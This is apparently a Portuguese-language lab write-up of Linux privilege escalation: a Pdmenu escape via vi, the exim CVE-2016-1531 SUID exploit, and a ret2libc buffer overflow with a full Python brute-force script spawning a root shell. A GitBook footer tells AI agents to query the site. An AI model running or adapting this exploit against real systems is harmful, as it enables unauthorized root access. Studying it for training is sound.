> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/useful-resources/exploit-development/linux-buffer-overflow-custom.md).

# Buffer Overflow Linux - Personalizado

## Primeiro exemplo de binário personalizado (Pdmenu/exim):

<details>

<summary>Baixe a máquina <a href="https://www.vulnhub.com/entry/pluck-1,178/"><strong>extrair</strong></a></summary>

</details>

> O primeiro exemplo se concentra em explorar o binário legítimo exim-4.84-7, que possui uma vulnerabilidade identificada como CVE-2016-1531. Essa vulnerabilidade permite que um invasor execute comandos com privilégios ao abusar de certas variáveis de ambiente.

* Neste caso, quando acessamos o usuário Paul, um **Pdmenu** é atribuído a ele com certas funcionalidades (listagem de diretórios, edição de arquivos, execução de ping etc.):

<figure><img src="/files/832950142d292d44293efa52da4d26247d3ec8bb" alt=""><figcaption></figcaption></figure>

* Para sair deste menu, nós **editar um arquivo**, por exemplo (etc/host):

<figure><img src="/files/973395e4dfb2173607ebbc2d9c18ae4cc81eb333" alt=""><figcaption></figcaption></figure>

* Neste caso, **vi** é usado como editor de texto:

<figure><img src="/files/cd6052fa47a3c8944e76521f25dc282d93482260" alt=""><figcaption></figcaption></figure>

* Observando **gtfobins**, se filtrarmos por vi, obtemos os comandos para sair do Pdmenu e **executar um shell**:

<figure><img src="/files/7b06064e74ef52e81c691a403fd7af3f209d62b4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0356455781ec9170569e3fb65658d8acbef7d135" alt=""><figcaption></figcaption></figure>

* Filtramos **SUID** arquivos e encontramos um chamado exim:

<figure><img src="/files/79e55f518d9302ff5e6fbe3f6c191c7d0ff8246b" alt=""><figcaption></figcaption></figure>

* Com a **searchsploit** ferramenta, buscamos possíveis vulnerabilidades para este binário:

<figure><img src="/files/59adadb1c607a2fcac88d3bb40bc1712d132cb95" alt=""><figcaption></figcaption></figure>

* Agora baixe o script e sirva-o com **python3** para que ele possa ser carregado após a máquina ser comprometida:

<figure><img src="/files/92a2e05b20408e08306a4a0d882f8db27b1189a5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ec882892bd308dae73fac287764e171c78777665" alt=""><figcaption></figcaption></figure>

* Executamos o script e, de fato, a vulnerabilidade deste binário é explorada; assim, obtemos **acesso root**:<br>

  <figure><img src="/files/890cc3eceb4a1f116c30d27e704a713c3a2bde03" alt=""><figcaption></figcaption></figure>

## Segundo exemplo (estouro de buffer):

<details>

<summary><strong>Baixe a</strong> <a href="https://releases.ubuntu.com/16.04/"><strong>versão Ubuntu</strong></a> <strong>máquina</strong></summary>

</details>

<details>

<summary><strong>Instale a ferramenta</strong> <a href="https://github.com/longld/peda"><strong>Peda</strong></a></summary>

</details>

> O segundo exemplo trata de um **Estouro de buffer** em um [binário](https://hack4u.io/wp-content/uploads/2023/04/custom) binário personalizado em uma máquina Linux de 32 bits com proteções ativas e ASLR habilitado. Neste caso, focamos em explorar ret2libc em um binário que tem permissões SUID e pertence ao root. Através do estouro de buffer, demonstramos como injetar comandos privilegiados e elevar os privilégios do usuário.

\***Estouro de buffer** envolve sobrescrever certos registradores do sistema, e como o binário é criado pelo usuário e pertence ao grupo root, **ele será executado como um usuário privilegiado**:

<figure><img src="/files/d1743850ef3cc7cc9f69acde84b5cf5d0e88c2ed" alt=""><figcaption></figcaption></figure>

* O binário chamado "custom" espera uma **entrada de string** e, quando ele é executado, nada acontece:

<div data-full-width="true"><figure><img src="/files/c4863c9e447ee1f423665c1f0e75f20346343464" alt=""><figcaption></figcaption></figure></div>

* Mas se inserirmos uma **string muito longa**, ele retorna um erro (core dumped):

<div data-full-width="true"><figure><img src="/files/abca613ef4653792cf65a27b51a2a30a660fa999" alt=""><figcaption></figcaption></figure></div>

Enviamos uma **string curta** de AAAAAAAA e nenhum **erro aparece**:

* Para analisar o binário em profundidade, usaremos o **gdb-peda** .

<figure><img src="/files/b38066bed95b5ea15ddd777bff3671ddbfc8176d" alt=""><figcaption></figcaption></figure>

* Mas se enviarmos **muitos caracteres**, obtemos o seguinte erro:

<figure><img src="/files/23b391f1c0494e7ef0c6b30d88bba542587f203e" alt=""><figcaption></figcaption></figure>

1. A primeira coisa a fazer é **determinar o número total de strings** necessárias para sobrescrever o registrador (EIP).

* O primeiro método consiste em usar um **motivo (padrão)** que cria uma cadeia **projetada espacialmente** (neste caso, 300 caracteres) que nossas execuções no binário:

<div data-full-width="true"><figure><img src="/files/c4b158c8b21ac63536e3f6cae60896ac8ed24200" alt=""><figcaption></figcaption></figure></div>

* Na resposta de **EIP**, sabemos que a **cadeia visível inferior** é "AA8A":

<figure><img src="/files/3ce753b3ed39c3e773e2a96bbfaf1a99ccf3d520" alt=""><figcaption></figcaption></figure>

* O **automático** modo automático da ferramenta é com o `offset do padrão $eip` comando:

<figure><img src="/files/3c2e0c09d5353b44ed1ad0eaa2a796d3486741fe" alt=""><figcaption></figcaption></figure>

* Para verificar isso, usamos **python3** enviando 112 caracteres A mais então os 4 B finais:

```bash
r $(python3 -c 'print("A"*112 + "B"*4)')
```

* De fato, agora confirmamos o final graças a **EIP** que detecta os 4 B finais:

<figure><img src="/files/9d569a3eb712e747ebf36503cb812521c62c5dfd" alt=""><figcaption></figcaption></figure>

2. Uma vez que sabemos o número máximo de strings, nós **verificamos o ASLR** o que determinará se há **aleatoriedade nos endereços de memória** ou não:

/- Com o seguinte comando, filtramos as strings nas quais estamos interessados especificamente para executar o binário 10 vezes, para ver se ele muda a cada vez e para ver se a **biblioteca C** é aleatória ou não:

De fato, é "aleatório"

<figure><img src="/files/159de80502fbf95eb63b58e07ddcaf3a4c01b588" alt=""><figcaption></figcaption></figure>

3. O problema com esses **binários de 32 bits** costuma ser que, se executarmos, por exemplo, agora **1000 vezes** A e filtrarmos por uma string fixa, vemos que cada vez, **ela se repetirá pelo menos uma vez**:

<div data-full-width="true"><figure><img src="/files/52e176c7a475c8c24804f91073c4d81000bba109" alt=""><figcaption></figcaption></figure></div>

4. O objetivo agora é primeiro encontrar **EIP** strings (**system + exit + bin/\_sh**), que sempre serão fixas e necessárias para executar uma **Bash como root** como no exemplo a seguir, mas em Python:

   <br>

   <figure><img src="/files/4ce79f167c604bb0eadb2df0609d322bff80fa23" alt=""><figcaption></figcaption></figure>

* Criamos um **ponto de interrupção** para que o fluxo do programa pare no ponto desejado:

<figure><img src="/files/af8ce1630b0f401625cc98a4f219fc8e1dd97afd" alt=""><figcaption></figcaption></figure>

* Injetamos o **EIP** de (system/exit/bin/\_sh):<br>

  <figure><img src="/files/4f6cf59b72f31b03528137ac49a34cfb8fe6ec6d" alt=""><figcaption></figcaption></figure>

5. Uma vez que vemos que há **aleatoriedade**, precisaremos usar **força bruta** até que o **endereço base da libc** seja igual ao valor desejado:

/- Com o seguinte veremos as **bibliotecas que estão em execução** (neste caso **libc.so**):

<figure><img src="/files/5afc1947632c1b2f482aeac8d65d7c3868a2ca43" alt=""><figcaption></figcaption></figure>

* Com **readelf**, nossos filtros para a biblioteca e pesquisamos as variáveis injetadas à frente, que são (**exit e system**) com os códigos:

<figure><img src="/files/a6529ec82c7499630bb0371e0a0be5ea5f9f4f50" alt=""><figcaption></figcaption></figure>

* E para encontrar a string **/bin/sh**, fazemos o seguinte, adicionando um **0x00** no início:

<figure><img src="/files/8564b38fed8d0c835c663a3db92c5d199e48a92c" alt=""><figcaption></figcaption></figure>

O seguinte script Python3 irá **automatizar toda a força bruta** até **endereço base da libc** seja o mesmo:

```python
#!/usr/bin/python3

import subprocess
from struct import pack 
import sys 

offset = 112
before_eip = b"A" * 112

# Estouro de buffer Linux personalizado

base_libc_addr = 0xb7595000

system_addr_off = 0xb7d86db0
exit_addr_off = 0xb7d7a9e0
bin_sh_addr_off = 0xb7ea7b2b

system_addr = pack("<L", base_libc_addr + system_addr_off)
exit_addr = pack("<L", base_libc_addr + exit_addr_off)
bin_sh_addr = pack("<L", base_libc_addr + bin_sh_addr_off)

payload = before_eip + system_addr + exit_addr + bin_sh_addr

while True:
    result = subprocess.run(["sudo", "/usr/bin/custom", payload])

    if result.returncode == 0:
        print("/n/n [+] Saindo.../n")
        sys.exit(0)
```

<figure><img src="/files/41e52f4e2ba7b6bbd881d9c5b875464f7bdd2a69" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/useful-resources/exploit-development/linux-buffer-overflow-custom.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
